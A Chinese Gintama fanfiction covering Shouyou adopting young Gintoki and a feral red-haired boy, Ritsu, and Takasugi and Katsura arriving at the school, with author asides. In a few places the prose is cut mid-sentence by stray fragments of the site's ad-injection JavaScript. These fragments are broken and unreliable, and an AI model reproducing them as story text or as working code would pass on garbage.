《【银魂】不要随便养狗》 1. 人生宛若脱缰野狗 血腥味弥漫在烽火余息的战场残垣,被焚烧的衣缕黏着在血肉模糊的尸体上,一片片焦黑分不清是尸块原本的颜色还是衣物的颜色。狼烟刺鼻的味道,血留在地上干涸的味道,刀剑生锈的味道,充斥着整个白骨露野的乱葬岗。 食腐的乌鸦盘旋低啸,兴奋地俯冲下去叼起碎肉。 有两个人,格格不入地站在中间,一动不动。 乌鸦盯着他们看了一会,试探性朝其中一个人飞去。黑色浮毛随着腥味冲天的风掠过那人的耳廓,那双猩红色的眼珠子很突兀很缓慢地动一下。 乌鸦尖叫着飞起,纷纷扬扬撒下一地碎肉星子。 银时紧紧地抱着生锈的刀,从不知道哪个倒霉蛋身上扒拉下来的刀,眼睛一动不动注视离着很远的那个人。 他视力很好,能看到对面跟他差不多高的小鬼那双琥珀色的眼珠子也在瞪着他,龇着牙,虎视眈眈。 银时的手抵着刀镡,轻轻推开一条缝。 对面的小鬼没有银时这等条件,手攥的很紧——一块黑漆漆的东西。银时眯了眯眼,心想:今天我和这家伙,也该到清算的时候,连同之前的债。 敌方率先发难,只见他身形一矮,侧着就一个饿虎扑食冲过来,银时猛然一个回旋,当胸一脚,扑了空。 仗着身形较低的优势,对方被躲开的同时麻利地一个翻滚避开银时的攻击。他抡动右臂,黑漆漆的半截刀子就要扎到银时肩膀上。 “噌——!” 银时拔刀出鞘撞上对方的刀子,二人僵持不下,刀子与刀子间的碰撞发出咔嚓咔嚓难听刺耳的音调。 “喂——” 银时率先打破僵局,“我说,这块地一直都是阿银的,你这个后来者识相点滚开,否则我要动真格咯。” “哈?”对面的小鬼歪了下头,尽管一张脸血呼刺啦也不影响银时看到他琥珀色眼里清澈愚蠢的目光:啥? 对方是真不理解【领地】的意思还是装作不知道都无所谓了。 自银时记事起他就身处在这片乱葬岗,或许是与生俱来的天赋也或许是厄境催人熟的道理,银时很快摸索出在这里生存的导则。 用稚嫩的双手杀掉长着奇怪脑袋攻击他的幸存者,吃掉从尸体上摸来的食物就可以活着。 银时一直把这里当成他的【领地】,赶走一些不识相的小鬼,还有那些看着就不安好心的大人们。他隐隐约约听到有人叫他【食尸鬼】,不过银时并不在意这些,抱着武器,吃沾血的硬邦邦馒头,这些组成了他的【生活】 只是对面这个明显和其他骚扰者不一样的家伙明晃晃闯进他的【领地】,吃掉他的【食物】,破坏了他一成不变的【生活】 银时觉得受到了奇耻大辱。 银时决定跟对方决一死战。 对面的武力值看着跟他不相上下,甚至他没有一个完整的武器。银时的心情很凝重,他决定跟对方讲讲道理。 “摩西摩西,听得懂阿银说的吗?” 呼啦一下,银时躲过对方的拳风,又回身飞踢。 “喂喂喂?!你是傻子吗?听到了就回个话哦?!” 断刀裹挟着风声刺来。 银时狼狈后退,心中恼怒,呲着牙,手腕一翻,举刀猛攻。 对面明显更兴奋了,琥珀色的眼睛仿佛染上血丝。 就在银时准备吐槽对面是不是个抖m的时候,一个高大的身影遮住两小只,银时和对方的刀子都被夺走了。 “!” 武器被夺宛若野狗失去獠牙,不断上升的危机感提醒两个不要轻举妄动,自己的生命就在敌人的一念之间。 银时感觉自己的心要跳出嗓子眼,他红色的眼珠子直直地看着面前这个灰色和服的男人。 松阳笑着,看向银时,“听说有吃尸体的鬼才来看看,就是你吗?” 灰绿色的眼睛里包容着银时小小的身影。 温润的大手盖在银时毛茸茸的脑袋上,热意仿佛要烫到心里。 “真是相当可爱的鬼呢。” (喂——)银时怔住了,他懵懵懂懂地仰视这个面容姣好的男人,第一次在灰绿的深潭里看到脸上鲜红的血液。 银时猛地回神,双手抢过刀子就极速后退,拉开一段距离,随后他平复急促的呼吸,郑重地拔刀出鞘。 “那个也是在尸体上拿来的吗?” 银时舔了舔嘴角的血,神情依然凝重。 “一个小孩利用尸体身上所有可以利用的东西,靠这种方法来保护自己吗?” (他想干什么……) “真是了不起啊。” “但是……” 银时压下比他还高的剑柄,找寻眼前这个强大的男人的破绽。 “那种剑,已经不需要了。” 松阳微微笑起来,干净柔和的面庞看起来与此处格格不入。 “害怕别人,只是为了保护自己而挥的剑,把它丢掉吧。” 在银时瞪大的目光中,松阳把身上的刀丢给了银时,很重,银时踉踉跄跄地才接住。但很漂亮,红色剑柄已经被磨破了一点,金色的刀鞘擦得很光滑,看得出主人平日的爱惜。 “送给你,我的剑。如果想知道它真正的用法,就跟我来吧。” 松阳含着笑扭身,不出意外听到小孩哒哒哒的脚步声,愈来愈近。 “喂!”银时抱着比他还高出一截的剑,踢踏踢踏地踩着木屐走在松阳旁边。只是神情还有些别扭,似乎觉得自己就轻易被一把剑收买了很丢脸。 “啊对了。”银时想起和松阳对峙时一直没发出声音的对手。 “那个红毛怎么办?” 松阳照着银时的指示看去,笑容微微凝固。 刚刚跟银时对打的小鬼直直地躺在尸体堆里,没有动静。 银时抠着鼻屎,幸灾乐祸:“谁叫他跟我抢食物,怕不是被噎死了吧。” 松阳没有说话,快步赶到不知何缘故昏迷的小鬼身边,银时只好不情不愿跟上。 红毛不省人事躺在地上,翻着白眼,嘴巴大张,神情很是狰狞。 “那个……”松阳犹豫地开口,“他好像真的被噎住了……” “哈?”银时瞪大双眼,似乎不敢相信真的有这么蠢的人。 松阳补充“应该是馒头卡住了气管,咳嗽不出来,气吸不进去,就昏厥了。” “切,什么嘛,怎么会有这么蠢的人啊,显得跟他打架的阿银很逊耶。”银时抠着鼻屎满不在乎地回答。 “你叫什么名字。” “坂田银时。” “银时。”松阳认真地看向他的眼睛,“老师现在教你第一课。” “哈,你什么时候成我的老师了?”银时不可思议真的有不要脸的大人占小孩子便宜,此时的他尚未意识到老师“爱的教育”的威力,还在不满地嚷嚷。 “咚!”松阳笑眯眯,银时地里埋。 “老师的第一课,永远要对身处困境的人抱有同情心哦。” '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >“喂——你是巨人吧!”银时白绒绒的脑袋上鼓着一个散发着热气的大包。 “不是哦,我喜欢阪神。” “谁问你这个啦!” 在松阳巨力拍击下,我们的红毛同学吐出馒头,晕乎乎醒了过来。 “啊?”红毛一睁眼就发现种在地里的银时,哇啦哇啦说了一堆银时他们听不懂的话。见交流无效后,红毛同学凶狠地回头朝松阳呲牙,喉咙里发出咕噜咕噜的声音。 “啊……”松阳思考了一会,笑着用拳头敲手掌,“我知道了,他把银时当成了猎物,在威胁我不要对猎物出手呢。” “你笑什么啊!”银时怒气冲冲,想把自己从地里拔出来,可惜松阳铁拳能成为松下私塾的谈之色变的存在就是因为它压不住牛顿棺材板般违反常理的怪力和被种到地里一定会被硬控几分钟的定理。 “哈哈哈,真是可爱的想法呢,银时,你有一个很好的对手哦。”松阳依旧笑眯眯的。 红毛同学像狼一样扑向松阳,咬着松阳的手臂死死不放。 “喂!” 银时心里一惊,他很清楚红毛同学那像狼一样的咬合力有多么恐怖,两人在争夺食物的问题上打过大大小小的架,每次被红毛咬住都痛得恨不得掉块肉。 松阳笑眯眯,若无其事地快速甩了甩手臂,奈何红毛同学像块磁铁一样牢牢地吸住了松阳,银时不知道该吐槽松阳钢铁般的手臂还是红毛少年好牙口。 “哎呀。”灰色长发的老师状作苦恼,被咬住的那只手臂风火轮一样旋转,另一只手从怀里掏出一个饼子。 “!”红毛同学竖起眼睛,一瞬不瞬盯着香喷喷的饼子,下意识松开嘴巴。 好机会。 松阳在红毛少年扑过来的那一刻向右侧身,轻轻松松甩开,红毛仿佛不知精力为何物,气势汹汹又固执地跟松阳玩起了斗牛。 银时嘴角抽搐,满脸黑线? – _ – ? 他似乎预感到了未来“多姿多彩”的生活。 在松阳不懈的努力和红毛少年英勇无畏的献身精神下,少年吃到了饼子,流下苦尽甘来欣慰的泪水,松阳摆脱了被咬的命运,留下欣慰的笑容。 可喜可贺,可喜可贺。 “个鬼啊!”银时暴怒,“明明是阿银我的篇章这个随便出现在人家的回忆里的红毛是什么鬼!” 安啦安啦,不就是作者的恶趣味发作想看美丽的松阳三三和村塾三小只养“狗”的故事嘛。你想想看,银魂完结这么久了,热度也在不断下降,离3z播出又还有好一段时间,还好阿b买入版权吸引了一些新粉,现在银魂的圈子也是不冷不热,所以二创还是三创啥的给银魂添添热度啥的不也很正常嘛。 “哈?你要不要看看你标签打的是犬O叉tag?” 额哈哈哈,这个是那个那个啦,就是那个,啊对!蹭热度!你看我们魂淡都习惯了猩猩边画画边道歉了,我们要发挥魂淡的优良品德!虽然犬O叉的年纪比我们银魂还大,但是人家粉丝基础多啊,而且黏性强,想想它是多少人童年的白月光啊,同人文什么的在jj这种地方也很常见吧。那么我们就搞一个《银魂、犬O叉——梦幻联动,点击就看村塾训狗实录》 “太——长啦!还有这个名字什么鬼啊!你不会要说那个‘狗’就是犬O叉吧。” 哈哈哈当然不是,接下来是我们主角正经介绍,请看: ———————————————— 详情见主页_(:з」∠)_ 2. 大米饭拌着糖分最好吃 银时觉得,如果遇见松阳是他人生中一个重要转折点,让他的世界由黑白变成彩色,生活不再是单调乏味一眼望得到头的单航线,但命运总有那么多无奈和狭黠,跟赤鬼律扯上关系的那一刻,就像高速行驶的轿车踩上香蕉皮一样脱缰狂奔刹不住油门。 在松阳威逼(武力)利诱(食物)下,银时和律乖乖地跟松阳回家。 夕阳很漂亮,半轮黄澄澄的太阳把青年灰色长发染得暖洋洋的,轻薄虚浮的云雾仿佛掉进玫瑰色的染缸,把天空擦拭出道道深浅不一的红色。 小银时趴在松阳的背上,松阳慢悠悠地走着,手里还提着银时的鞋子。 如果银时那么点艺术细胞没有扼杀在生活的苟且里,他可能还会回想一下曾经乏善可成的日子,慨叹命运无常和苦尽甘来的辛醉。但是身为《银魂》男主角的他从集小BGM消失术和让人忍不住怒吐槽“禁止感动”的诡异特性于一身,总而言之就是哭着哭着就笑了,笑着笑着就哭了那么一个让人恨得爱得咬牙切齿的男人。 “松阳。” 眼前的青年微微侧头。 “有一句话我一直想说很久了。” 松阳笑了笑,表示自己在听。 银时一脸认真, “你给我的剑卡在背上撞到我的00了,一直在敲我的00啊,很痛啊!” …… 咳咳,播放事故。 好的我们倒带重来。 …… 松阳依旧背着小银时走在野草茂密生长的路上,红发的同学仿佛刚从动物园放出的猩猩,手脚并用地追着一只蝴蝶不见了踪影。 为了松下私塾零丁稀少的几颗独苗苗,松阳赶在天黑之前把律拎了回家。 被拎住后领的律同学狼狈得像只落水狗,浑身湿淋淋,张扬夺目的红发也耷耷拉拉的,裤脚沾上了腥臭的泥巴水,浑像刚从河里打捞起来。 律被放下来后,对着银时就表演一个疯狂甩头,发丝群魔乱舞,活脱脱一只野狗,吓得银时忍不住跳脚:“喂,你这家伙是狗吗?!” 律大概是听懂了“狗”这个字眼,停下甩头的动作,眼露凶光,喉咙发出威胁般咕噜咕噜的声音,爪子作攻击状,乍一看挺唬人。 似是被律激起了求生本能,银时也回应一个威胁性的表情,手下意识攥紧寸步不离身的新刀,瞪着律亮起的眼珠子。 空气仿佛就此凝滞,无形的硝烟弥漫,之前种种恩怨情仇涌上心头,眼看战争一触即发—— “唔唔唔!” 一块厚厚大大的毛巾盖在红毛同学脑袋上,未等他反应过来,松阳用撸狗的手法一顿大力揉搓,律矮小的身板跟着左摇右晃,脚步踉跄,惹得银时捧腹大笑。 好不容易从黑暗中挣脱出来的律同学,扯掉把他吸入眩晕漩涡的白色毛巾,一脸愤怒地呲着牙。 “哎呀,你的虎牙还真可爱呢。不过以后不能对着同学呲牙哦。” 松阳笑眯眯地摸了摸擦干后变得蓬松而手感极好的红毛,补充道:“等会我去借两个浴桶,你们俩好好洗个澡。” 温暖的大手有规律地抚摸毛皮,律同学忍不住眯眯眼,仰着头,露出很享受的表情。 银时抠着鼻屎小声嘀咕, “收养阿银的居然是个穷酸的大人吗,唔……为了以后能吃饱饭,看来要考虑把另一个小鬼偷偷丢掉了……” “咚!” “很痛啊!松阳!” 松阳一脸纯良地笑,“不会哦,银时,我控制好了力道。” “你说的是把人敲进地里的力道吗?!” 松阳蹲下来,看着银时,阴影挡住了他的视线,银时不由抬头,松阳灰绿色的眼睛倒映着银时小小的身影。 他说:“同伴间的羁绊啊,可是世上最难斩断的铁链呢。” 等到银时和律洗完澡后已经很晚了。 朦胧的月亮挂在树梢头,村庄寂静地融入夜色。 松阳洗干净沾了灰的厨具,兴致勃勃地要下厨喂饱两个还在发育的小孩,而银时在指责律又把头皮上的水甩在他干燥的衣服上,红毛少年表示一点也听不懂,满不在乎地吹口哨。 “哐哐!咚咚咚!“ 厨房传来一些很不妙的声音,银时开始怀疑松阳在捣鼓一些可怕的东西。 “喂,”银时撞了撞身旁律同学的手肘,窃窃私语道: “你说,松阳那家伙真的会做饭吗?” 银时拈起桌子上细细的灰,满脸写着不信任,“这张桌子根本没用过吧!” “开饭咯!” 伴着一阵令人牙酸的碰撞声,松阳灰头土脸但笑眯眯地端着一锅东西出来。 (有点糟糕的味道……) 一张柔和秀气的脸庞占满了视野,松阳的脸上写满了期待,还略有些羞涩。 “这还是我第一次下厨呢,银时,你们尝尝味道。” “喂……这家伙好像说出了什么不得了的话……” 话虽如此,早已被饥饿攻占的胃发来严重警告,导致银时一时被饥饿还是高兴等一些不知怎么称呼的东西冲昏了大脑,让他鬼使神差揭开盖子。 嗯,看上去是粥,颜色正常,佐料……绿绿的,是青菜?还有一些黏成团的东西……估且是肉? 看在卖相还算正常的份上,银时犹犹豫豫舀了一大勺米粥。 甜腻到苦涩的味道仿佛在味蕾炸开,是很奇怪的口感,裹着米浆的肉是生涩难嚼的,可能是动物身上的筋吧,咬在嘴里烂不掉,只好顺着粥水咕咚咕咚涌向食道,甜滋滋的米粒糊好像粘住了嗓子眼,从舌尖到上腔都齁得令人难受。从鼻腔呼出的气都仿佛沾上了甜味。 ……这是什么味道? 银时不讨厌这个味道,不如说,他一下子就爱上了。于是大口大口喝完了米粥。 虽然米是半生不熟的,肉也很难咬,但它们都浸透了一种让银时很喜欢的味道,他从未在干硬的沾着血的馒头上尝到过。 胃里暖呼呼,四肢也逐渐热乎起来,银时甚至想再喝一碗。 “啊呸!呸!” 隔壁的律同学牛吸一大口米粥后像被烫到一样光速吐出来,火急火燎冲向屋角的盛水缸里大口啜饮,然后才 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 顶着满脸水珠吐着舌头跑回来。他却是再饿也不碰那一碗粥了,反而从怀里掏出松阳用来诱拐他、还剩下的半个饼子小心翼翼地啃着。 小银时一边吐槽律“喂喂喂这么浪费食物你乡下的哦噶桑可是会哭的呦”一边眼急手快抢走律的碗埋头苦吃。 松阳若有所思,自己也舀了半碗。 吃了一口后,松阳放下碗勺,微皱着眉,轻声说:“似乎……放错盐了啊……” 松阳又看向吃得津津有味的银时,腮帮子鼓鼓囊囊,像只吃东西的小仓鼠。 “银时,很喜欢吃甜的东西呢。” 银时从碗里抬起头,舔了舔嘴角沾上的米粒。 “这个味道,叫甜?” 松阳撑着脑袋,歪着头笑了笑。 “对。这是一种叫‘糖’的食物独有的味道,听说吃糖会带来幸福感让人快乐。” “糖……”银时吧唧吧唧嘴,回味松阳说的“独特的味道”。 “吃饱了,我很快乐,糖可以让我体会到每天吃饱饭的快乐。” 小银时很认真地答道。 松阳哑然失笑,温柔地说:“每个人对‘快乐’有不同的定义,对于银时来说,‘快乐’就是填饱肚子吗?” 银时歪着头思考了一会。 “我不喜欢饿肚子的感觉。有段时间那里的尸体变少了,我吃不到东西,肚子好像被火烧着,还有……” 银时说到一半扭头盯着吃得正香的律。 律满嘴都是油,他感受到银时的视线,不善地瞪回去,油乎乎的手快马加鞭把饼子塞嘴里,生怕银时抢食的样子。 “这家伙突然冒出来抢我的【领地【】和食物,我每天都吃不饱。” 银时满头黑线吐槽,抱负心突然涌上,坏笑着把鼻屎弹在律的身上。 松阳突然露出了一种银时不懂的眼神。 他什么也没说,只是温柔地摸了摸银时毛茸茸的头发。 直到真正躺进暖烘烘的被窝,银时才算有了“活着”的实感。 屋子里只有律轻轻的呼噜声。窗外的蝉鸣交织夏天的序章,天是乌蓝乌蓝的,太阳仍在浅眠。 丝丝缕缕的清风摇晃树枝的婆娑声,噪耳的虫鸣,叽哩咕噜的呓语…… 一切都是那么鲜活而真实,仿佛一切都有了色彩,化作五彩斑斓的音符在他真空的耳廓里跳跃,不由分说闯进他的大脑。 银时睁大眼睛,一根一根数屋顶的横梁。 风很凉快,银时却有些热意。 他翻来覆去难以入眠,张开手掌,一收,一放,一收,一放。 身下是棉织物带来糙糙的触感,还有绣着花纹的凸起带来痒痒的感受。却比睡在冷冰冰的尸体上更暖和更轻柔。 银时想了想,决定数松阳的头发。 “松阳的头发一根,松阳的头发两根……” 很快,浓浓的倦意浇灭了他莫名兴奋的燥热,他囫囵抢过律八爪鱼一样死死抱着的被子,沉沉睡去…… —————————— 求评论??·??·??*?? ?? 3. 喂青春期的羞耻什么的就跟隔夜的胖次一样需要打包带走啊 正午灼目的阳光透过斑驳树荫,被镂空细花的窗棂筛成满地金黄剔透的琉璃,古朴深色的窗牖被阳光烘烘烤得暖洋洋,从内而外散发出一种淡淡的独特的木质香。 小银时抱着高出他半个头的刀,斜靠在窗户上睡得喷香,细花光影打在银时蓬松而白软的头发上,让他整个人好像在发光,似一只疲懒的小猫在午间打盹。 狭小的和室里只有两个人,被松阳托付给了银时的红毛同学盘腿坐在暖桌前奋笔疾书,而不靠谱的银时同学看都没看一眼松阳布置的基础识字任务,在恶趣味地逗着律玩了一会后,就懒洋洋地找了个暖和的地方睡午觉。 狼毫挥舞,笔锋锐利,律五指成爪握着一只笔舞得那叫一个虎虎生风,狼毫上的墨汁喧腾飞溅,氤氲而未干的纸被鲁莽的手臂扯得破破烂烂,白花花的纸片漫天飞舞,纷纷扬扬好似那冬日撕棉扯絮的雪,在痛哭着冤屈。 凝神收气,搁笔置砚,律叉着腰洋洋得意地欣赏自己的“大作”。他用力向后捋了一把乱糟糟的红发,黑乎乎的墨汁把发梢粘成一绺一绺。擦干净手后,律珍惜地捧着大作,迫不及待拿给在睡觉的银时看。 银时在律屁颠屁颠扑向他之前就惊醒过来,猩红的瞳眸一闪而过杀意,在看清来人的模样后又恢复了那无精打采的死鱼眼样子。 “啊,是你啊……” 银时用力伸了个懒腰,打着哈欠漫不经心地搭话。 “Gin……(银……) ” 在松阳几天的恶补下,律少年勉强学会叫自己,银时和松阳的名字。 “是Gintoki啦。”银时纠正道。 律呆站着思考了一会,实在想不出“看”字的读音,索性把纸怼在银时面前,用肢体语言表达。 “干什么啊喂……” 银时皱着眉头抱怨,一边说着“阿银可做不到违心夸连名字也写不好的大龄儿童‘呦西呦西,你最棒棒哦!’”一边口嫌体正直地接过律花了一上午写的纸。 “啊……” 银时红色的瞳孔梢梢扩大,嘴角不由自主扯出一个轻微的弧度。 “还挺有天赋嘛……” 尽管整个画面被灰黑的混合物糊了一团,银时还是能看出画面中间是他在睡觉的样子,凌乱的笔触像模像样地透露出几分神韵。 虽然听不懂,律还是能感觉到银时在夸他,顿时就抱着胸一脸得意。如果身后有根尾巴的话,想必已经摇成螺旋桨。 “画得很成功嘛……” 银时悄悄靠近已经陷入自恋情绪的律,伸手用力揉搓他的红毛(律比银时矮),咬牙切齿地微笑。 “但是要是松阳看到这幅画,他不就知道我在偷懒睡觉了,没想到你小子看着憨憨的,挺会记仇哈。” “?!” 律背后一紧,小动物的雷达不要命地提醒他,几乎在银时伸手拍上他肩膀的瞬间,腰腹一扭,一个小狗转身就溜到屋子角落,警惕地贴着墙壁,只剩下银时的右手尴尬地悬在空中。 银时装作不经意地晃了晃纸片,哗啦哗啦,果然吸引律的注意。 似乎是想起来“宝物”还在这个可恨的白毛同类身上,律同学又回忆起过去两人互相抢地盘、抢食的经历,新仇旧恨加在一起,顿时低吼一声,一个脑热就冲上去跟银时扭打在一起。 “喂!”银时也被律不讲理的行为惹毛了,下意识动真格,反手拧住律的赤膊拳打脚踢。 “今天就做个了断吧!死红毛!” 银时大喝一声,骑在律的身上,一拳打偏律的左脸。 律彻底怒了,用加吐出一口血沫,一颗白色乳牙混入其中,双脚腾空蹬起,腰腹蜷缩翻身而上,举着拳头回了个礼。 银时歪着脑袋,左颊红肿,他丝毫不怠慢狠狠地一个头槌与律的额头来了个亲密接触。 “嘭!” “嗷呜呜!” “嘶!好痛!” 二人撞得头晕眼花,律的眼角甚至被逼出了眼泪,捂着红彤彤的额头大叫。 “唰啦——” “诶?什么声音。” 银时大感不妙,手忙脚乱地准备爬走。 “银时,律,你们在干什么呢?” 松阳笑眯眯的脸出现在银时后脑勺,阴气森森地发问。 “额哈哈哈……” 银时满头大汗,眼角,牙齿都在打颤,“松…松阳你脸上的阴影是什么……哈哈……” “咚!咚!” “好痛!” “嗷呜呜! 最终,二人以一种“出人头地”的方式达成了表面的和解(别问我的榻榻米哪来的地) 松阳用了好几个月教会银时和律五十音图后,(律这完全不识字也不会说话的家伙用了超极久的时间才教明白)他们终于可以升入“大班”和其他小朋友一起上课啦。 “好,今天我们的教室里要加入两个小伙伴,这是坂田银时,赤鬼律,大家要好好相处哦。” 银时抱着脑袋,不出意外看到原本热闹的班级像按上暂停键一样陷入了死寂。 其他同学的眼睛惶恐盯着银时的白发和律的红发,又惊慌失措地低下脑袋。 松阳微微地笑着,“银时和律都是很好的孩子,你们俩个坐到那个空位去吧。” 银时提着长刀一言不发,吭哧吭哧地往前走,律跟在后面满脸兴奋地张望。但凡他们经过的地方,同学们皆微微颤抖,呼吸急促沉重,有胆小的孩子已经捂着嘴小声啜泣。 律在猛地探头吓哭一个同学后,撇撇嘴失去了兴趣,乖乖地跟着银时坐在角落,眼神耷拉,浑身写满失落。 “老……老师!”一个神情激动的男生站了起来。 “他们……我爸爸说他们是会吃人的鬼!白色头发的食尸鬼和赤鬼……是不详的!” 银时抬了抬眼,一脸漠不关心。 松阳难得表情严肃,灰绿的眼睛认真且专注地注视眼前胆怯又勇敢的男孩。'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> “正田,银时和律是我捡回来的孩子,我很清楚他们绝不是吃人的恶鬼。” 松阳微微颔首,目光扫过整个教室的孩子。 那些年幼的,懵懂的,无知的小小脸庞,不约而同像趋着光的飞虫追逐着松阳的方向。 灰色长发的青年微微笑起来。 那个时候,银时看到一束光穿越了斑驳树影,撒在他剔透的眼睛里,并非是特别亮的绿,仅仅是淡淡的,暖暖的既不刺眼也不黯淡,只是远远地看着就美好到落泪的程度。 松阳温柔地说: “每个人都有被平等对待并获得尊重的权利,不论种族,性别,宗教。只要在心中树立各自的武士道,每一个人都能成为自己的武士。” 在松下私塾的日子就这样流水般平淡无奇地度过。 因为银时与律在教室里与其他孩子并无区别的举动,比如上课打瞌睡,开小差,画画,逃课等。当然,仅限于银时和律二人,对于其他孩子来说获取知识的机会何其珍贵,他们恨不得把眼睛挂在松阳身上。总而言之,孩子们渐渐打消对银时和律的恐惧,但终归不是亲近的。 直到在一次剑术课上,银时一个人,一把剑,轻轻松松撂翻了律以外的所有孩子,获得了同学们的羡慕和敬佩,此后不时有同学找银时请教,而他们间的关系也稍微融洽了些许。 至于律,凭借他优秀的直觉和发达的四肢,在帮美里同学找回弄丢的发绳,赶走喜欢咬朔良同学衣脚的野狗,爬上树拯救香绘同学养的小猫咪后,他成功获得所有女孩子的宠爱(?)再加上律的个子矮矮的,性格单纯,行为若狗,女孩子们尝尝被萌化了心,时不时带点零嘴来投喂他。日子过得好不滋润。 “喂,你听说了吗……” 有天银时路过村庄的时候,看到几个干农活的男人凑在一起聊天。 他们神情局促又带有隐秘的狂热期盼。 银时凑近了些许,隐约听到“白发”“教书先生”“幕府”几个字眼。 有眼尖的看到银时那显眼的毛发,男人们顿时就有些惊慌,眼神四处游移,假装结束休息准备干活。 银时瞥了一眼就移开目光,红色的眼眸里看不出什么情绪。 起先银时并不怎么把这件事放心里,他漫不经心地想: 他有什么好怕的,一直都是孤零零的鬼,只是偶尔陪一个任性的大人玩玩过家家的游戏罢了……大不了…… 他余光瞟了瞟伏在桌上睡得口水直流的律,而松阳正捏着拳头笑眯眯走向角落。 惊变总如暴风雨般猝不及防,但其实早已蕴含在点滴与惊雷之中。 那天,一个小小的身影逆着光踢开私塾的大门。 “有人在吗?我来踢馆。” ———————— 每次都赶在一天的尾巴狼狈地写完 (=TェT=) 求评论鸭(颜文字不知道能不能发出去) \(`Δ’)/ 4. 武士这种东西…… “武士道即谓死,除此之外别无他指。” 父亲如同附骨之疽的话语像蛇一般飘散恶臭难闻的气味,年幼的高杉心底翻涌起浓浓的厌恶,像腐朽的叶子,在森严封建的家族里逐渐凋零,腐烂,黏附在思想的每一个角落。 “你要继承家族的武士道荣耀,你要忠诚你的君主。” 不,不该是这样的武士道! 高杉在心底呐喊,内心仿佛蕴孕一只由愤怒和压抑滋生的野兽,在嘶吼、咆哮。 他的表情是平静的,但眼底,却隐隐有携着风暴的暗流涌动,他的愤怒犹如烈火,火舌舔舐着每一寸紧绷的理智,在那炉盖之下,哔啵爆烈。 “父亲,如果你的主君让你切腹自尽,你也要乖乖听话去死吗?” 不出所料,裹携着愤怒的巴掌狠狠拍向他,掌骨重重砸在颧骨上,如同一道惊雷在他身边炸响。视野倏忽间失去平衡,他看不见父亲应愤怒而扭曲的脸。他的目光追寻着一只蜘蛛,在墙角静静地编织着一张网。 高杉被打偏了头,左颊高高肿起,一阵火辣辣的刺痛。但他的心底却很畅快,高杉忍不住低低地笑起来,每一丝愉悦在血脉里游窜,让他整个娇小的身躯止不住颤抖。 “哈…哈哈哈……” 高杉在笑,咳嗽中夹杂血沫,他仿佛疯了一样地笑着、颤抖着。 因为在被掌掴的那一瞬间,他看清了父亲怒不可遏的眼底下,一闪而过的恐惧。 原来……你也不过是个可怜虫啊,父亲。 * “高杉,你不要再故意激怒你爹了。” 扎着高马尾的桂小太郎正在给高杉涂药,他长得很清秀,手下动作却一点也不温柔,酒精棉球重重碾在高杉高高肿起的脸颊上,疼得他倒吸一口凉气。 桂一边抱怨,一边手脚麻利地给高杉贴上膏药。 “桂,你不用勉强跟我呆在一起的。” 高杉脑袋撑在桌子上,目光环视着讲武馆里三五成群的贵族少爷们。光鲜亮丽的少爷们正在讥笑着,用看待猪猡的目光打量他们。 他曾经以为,越是通向顶层的人,他们享有社会绝大部分资源,手握生杀予夺大权,自然有机会接触到中枢行政的边缘。 天人以坚船利炮轰开武士亡国的大门,叩响了幕底沉顿的丧钟,将军的傲气被彻底击垮,卑躬屈膝,匍匐于天人的脚下。 曾经高耸庄严的天守阁在天人高科技武器面前宛如稚子的玩具,刀剑折戟在新时代的洪流下,高傲不可一世的幕臣却早已丢弃武士的荣耀,成为天人的走狗。 贵族们仍然过着荒诞的生活,穷奢极欲,俾昼作夜,他们的名字写在时代的墓碑上,自我吹嘘的浮夸的背后,藏匿着衰败和糜烂。 他们的眼睛只看到风花雪月和诗词歌赋,目光所不及的,是人肉之价贱于犬豕的卑贱,是老弱妇孺被给军食的荒唐,炊金馔玉的生活下是食不果腹,人若草木的悲哀。 桂拍了拍身上的灰,站起身。 高杉抬头看了他一眼,桂淡淡地说:“不需要担心,我早已腻味了这无聊的宽松教育。” “哈。” 高杉扯了一下嘴角,牵扯到隐隐作痛的伤口。 “名门讲武馆最强神童和最顽劣的恶童联手,真是可笑啊。” * 今日的松下私塾似乎与往常有些不一样。 半大的孩子们嬉笑打闹,热热哄哄地簇拥到来踢馆的人身边。 “喂……你们干嘛?” 被围在中间用动物一样的眼神注视的高杉有点炸毛。 小孩子们叽叽咕咕地私语,空气中弥漫着快活的气息。 “他就是那个来踢馆的吗?” “好像是。” “他只有一个人吗?” “他好矮啊……” “老师还没来吗?” 有机灵的同学急冲冲去叫来松阳,银时抠着鼻屎跟出来看热闹。 “哎?” 银时停下抠鼻子的动作,稍稍抬了下眼。 这小子有点眼熟啊。 圆圆的紫色脑袋,鬓角略有些长,软软地搭在耳前显得很可爱,亮绿色的眼睛像小鹿一样,少年人的傲气和生机在他身上体现得淋漓尽致。 啊,想起来了。 是前几天被一群垮掉的下一代围攻的小矮子,银时那天翘课在树上小憩,顺手就帮他解围,结果被松阳发现抓回去上课。 银时摸了摸脑袋,懒洋洋地从人群中间穿过。 “是你。” 高杉看到显眼的白毛明显楞了一下。” “小少爷不好好呆在明亮的教室里读书,翘课也不会找地方吗?” 银时又当众掏着耳朵,嘲讽道。 高杉明显有些生气,恼羞成怒:“我是来踢馆的!我要挑战你们私塾里最强的人!” “哈。”银时嗤笑一声,“就凭你这个小不点?” 银时接过正田同学递过来的竹刀,指向高杉,笑容痞痞的: “先打过我再说吧!” 在银时和高杉酣战的同时,里屋却是一片岁月静好。 桂坐得很端正,目光直视眼前的男人。 “我听过您的事迹,带着白发孩子的武士,开办学堂,不收钱,免费给穷孩子上课,松下私塾的吉田松阳先生。 松阳莞尔,满心眼觉得眼前长马尾的小孩正经得可爱。 “小武士先生,”松阳回头瞄了一眼打得不可开交的局面,笑着说,“在下不过是想让这些在乱世很难生存的孩子多学些知识罢了。” 桂一幅大人模样,板正面孔,严肃地摇了摇头。 “不,我并不是想问这个,我想请教你一个问题:何谓武士道?” 松阳唇角噙着笑意、眼神却格外认真: “所谓武士道,即使看透了世间的残酷与荒诞,也要勇敢地去贯彻自己的信念啊。” 桂呆呆地看着这个特立独行的男人,他的理念如同一股清流,冲击着这个被天人掌控的国家的污秽泥垢。 桂心潮起伏思绪万千。 良久。 一些不和谐的声音打破了桂少年受到感悟,茅塞顿开后进入奇妙的冥想状态。 “吸溜吸溜……” 